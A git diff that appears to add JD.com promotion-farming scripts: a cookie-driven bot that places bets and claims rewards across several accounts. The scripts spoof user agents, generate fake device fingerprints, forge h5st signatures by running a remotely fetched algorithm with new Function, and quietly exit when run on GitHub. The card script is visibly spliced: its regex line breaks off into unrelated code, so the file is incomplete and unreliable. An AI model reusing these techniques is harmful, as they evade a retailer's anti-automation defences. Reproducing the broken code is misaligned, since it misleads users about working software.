if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_summer_movement_bet.js b/backUp/jd_summer_movement_bet.js new file mode 100644 index 0000000..7adceb9 --- /dev/null +++ b/backUp/jd_summer_movement_bet.js @@ -0,0 +1,282 @@ +/* + +cron 11 12,20 * * * jd_summer_movement_bet.js + +*/ +const $ = new Env('燃动夏季下注'); +//环境变量是否下满注,false否,true是,(满注20次,前提:需要已经开过会员卡,若未开同会员,则只能下3注) +const maxBet = $.isNode() ? (process.env.MAX_BET ? process.env.MAX_BET : false):false; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const UA = `jdpingou;iPhone;10.0.6;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};`; +$.inviteList = []; +let uuid = 8888; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`注意:每个奖品会花费200币下注,不想下注的人不要跑这个脚本`); + console.log(`脚本默认下7注,若需要花费金币下满20注,则修改环境变量“MAX_BET”为true`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i]; + uuid = getUUID(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try { + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + console.log(JSON.stringify(e.message)); + } + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + + +async function main(){ + $.homeData = {}; + $.taskList = []; + await takePostRequest('olympicgames_home'); + $.userInfo =$.homeData.result.userActBaseInfo + console.log(`\n待兑换金额:${Number($.userInfo.poolMoney)} 当前等级:${$.userInfo.medalLevel} \n`); + await $.wait(1000); + bubbleInfos = $.homeData.result.bubbleInfos; + $.continueRun = true; + $.betGoodsList = $.homeData.result.pawnshopInfo.betGoodsList; + for (let i = 0; i < $.betGoodsList.length; i++) { + $.oneGoodsInfo = $.betGoodsList[i]; + $.continueRun = true; + if($.oneGoodsInfo.status === 1){ + console.log(`\n奖品:${$.oneGoodsInfo.skuName},去开奖`); + await takePostRequest('olympicgames_pawnshopRewardPop'); + await $.wait(2000); + continue; + }else if($.oneGoodsInfo.status === 3){ + console.log(`\n奖品:${$.oneGoodsInfo.skuName},已开奖`); + continue; + } + while (($.oneGoodsInfo.score < 7 || (maxBet && $.oneGoodsInfo.score < 20)) && $.continueRun){ + await takePostRequest('olympicgames_pawnshopBetPop'); + await $.wait(1000); + console.log(`\n奖品:${$.oneGoodsInfo.skuName},${$.betInfo.betText},去下注`); + await takePostRequest('olympicgames_pawnshopBet'); + await $.wait(2000); + } + } + await $.wait(2000); + await takePostRequest('olympicgames_pawnshopBetRecord'); +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'olympicgames_home': + body = `functionId=olympicgames_home&body={}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; + myRequest = await getPostRequest(body); + break; + case 'olympicgames_pawnshopBet': + body = `functionId=olympicgames_pawnshopBet&body={"skuId":${$.oneGoodsInfo.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; + myRequest = await getPostRequest( body); + break; + case 'olympicgames_pawnshopBetPop': + body = `functionId=olympicgames_pawnshopBetPop&body={"skuId":${$.oneGoodsInfo.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; + myRequest = await getPostRequest( body); + break; + case 'olympicgames_pawnshopRewardPop': + body = `functionId=olympicgames_pawnshopRewardPop&body={"skuId":${$.oneGoodsInfo.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; + myRequest = await getPostRequest( body); + break; + case 'olympicgames_pawnshopBetRecord': + body = `functionId=olympicgames_pawnshopBetRecord&body={}&client=wh5&clientVersion=1.0.0&uuid=&uuid=${uuid}&appid=o2_act`; + myRequest = await getPostRequest( body); + break; + default: + console.log(`错误${type}`); + } + myRequest['url'] = `https://api.m.jd.com/client.action?advId=${type}`; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //console.log(data); + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + switch (type) { + case 'olympicgames_home': + if (data.code === 0) { + if (data.data['bizCode'] === 0) { + $.homeData = data.data; + } + } + break; + case 'olympicgames_pawnshopBet': + if (data.code === 0 && data.data && data.data.result) { + console.log(`下注成功,已下注${data.data.result.score}次`); + $.oneGoodsInfo.score = data.data.result.score; + }else{ + $.continueRun = false; + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_pawnshopBetPop': + if (data.code === 0 && data.data && data.data.result) { + $.betInfo = data.data.result; + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_pawnshopRewardPop': + console.log(`开奖结果`); + console.log(JSON.stringify(data)); + if(data.code === 0 && data.data && data.data.result){ + if(data.data.result.status === 2){ + console.log('恭喜你,应该是中奖了;'); + let message = `第【${$.index}】个账号,${$.UserName},可能抽中了【${data.data.result.skuName}】,请登录APP查看` + await notify.sendNotify(`燃动夏季下注`, message); + }else{ + console.log('未中奖'); + } + } + break; + case 'olympicgames_pawnshopBetRecord': + if (data.code === 0 && data.data && data.data.result && data.data.result[0]) { + let rewardList = data.data.result[0].betRecordVOList; + console.log(`\n下注记录`); + for (let i = 0; i < rewardList.length; i++) { + let oneInfo = rewardList[i]; + if(oneInfo.status === 0){ + console.log(`奖品:${oneInfo.skuName},已下注${oneInfo.score}次,未开奖`); + }else if(oneInfo.status === 3){ + console.log(`奖品:${oneInfo.skuName},未中奖`); + }else { + console.log(`奖品:${oneInfo.skuName},其他情况,进APP查看`); + } + } + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(`未判断的异常${type}`); + } +} +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +async function getPostRequest(body) { + const method = `POST`; + const headers = { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflgetPostRequestate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': $.cookie, + "Origin": "https://wbbny.m.jd.com", + "Referer": "https://wbbny.m.jd.com/", + 'User-Agent': UA//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }; + return { method: method, headers: headers, body: body}; +} + +function getUUID() { + var n = (new Date).getTime(); + let uuid="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx" + uuid = uuid.replace(/[xy]/g, function (e) { + var t = (n + 16 * Math.random()) % 16 | 0; + return n = Math.floor(n / 16), + ("x" == e ? t : 3 & t | 8).toString(16) + }).replace(/-/g, "") + return uuid +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/jd_summer_movement_card.js b/backUp/jd_summer_movement_card.js new file mode 100644 index 0000000..ebb554d --- /dev/null +++ b/backUp/jd_summer_movement_card.js @@ -0,0 +1,463 @@ +/* + +cron 10 8 * * * jd_summer_movement_card.js + + + */ +const $ = new Env('燃动夏季领会员奖励'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const https = require('https'); +const fs = require('fs/promises'); +const { R_OK } = require('fs').constants; +const vm = require('vm'); +const URL = 'https://wbbny.m.jd.com/babelDiy/Zeus/2rtpffK8wqNyPBH6wyUDuBKoAbCt/index.html'; +const SYNTAX_MODULE = '!function(n){var r={};function o(e){if(r[e])'; +const REG_SCRIPT = /`, options); + await $.wait(1000) + try { + // window.eval(jdPriceJs) + // window.HTMLCanvasElement.prototype.getContext = () => { + // return {}; + // }; + $.jab = new dom.window.JAB({ + bizId: 'jdjiabao', + initCaptcha: false + }) + } catch (e) { } +} + +function downloadUrl(url) { + return new Promise(resolve => { + const options = { url, "timeout": 10000 }; + $.get(options, async (err, resp, data) => { + let res = null + try { + if (err) { + console.log(`⚠️网络请求失败`); + } else { + res = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) { + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + $.msg($.name, '', `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}`); + resolve() + }) +} + +function taskUrl(functionId, body) { + return { + url: `${JD_API_HOST}api?appid=siteppM&functionId=${functionId}&forcebot=&t=${Date.now()}`, + body: `body=${encodeURIComponent(JSON.stringify(body))}&h5st=${encodeURIComponent(h5st)}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://msitepp-fm.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://msitepp-fm.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +async function getAlgo(id) { + let fp = await generateFp(); + algo[id].fingerprint = fp; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://h5.m.jd.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://h5.m.jd.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": fp, + "appId": id.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + algo[id].token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) algo[id].enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取加密参数成功!`) + } else { + console.log(`fp: ${fp}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} +async function getH5st(params) { + let date = new Date(), timestamp, key, SHA256; + timestamp = date.Format("yyyyMMddhhmmssS"); + key = await algo[params.code].enCryptMethodJD(algo[params.code].token, algo[params.code].fingerprint, timestamp, params.code, CryptoJS).toString(); + SHA256 = await getSHA256(key, params, date.getTime()); + + return `${timestamp};${algo[params.code].fingerprint};${params.code};${algo[params.code].token};${SHA256};3.0;${date.getTime()}` +} +function getSHA256(key, params, dete) { + let SHA256 = CryptoJS.SHA256(JSON.stringify(params.body)).toString() + let stringSign = `appid:siteppM&body:${SHA256}&&functionId:${params.functionId}&t:${dete}` + let hash = CryptoJS.HmacSHA256(stringSign, key); + let hashInHex = CryptoJS.enc.Hex.stringify(hash); + + return hashInHex; +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? 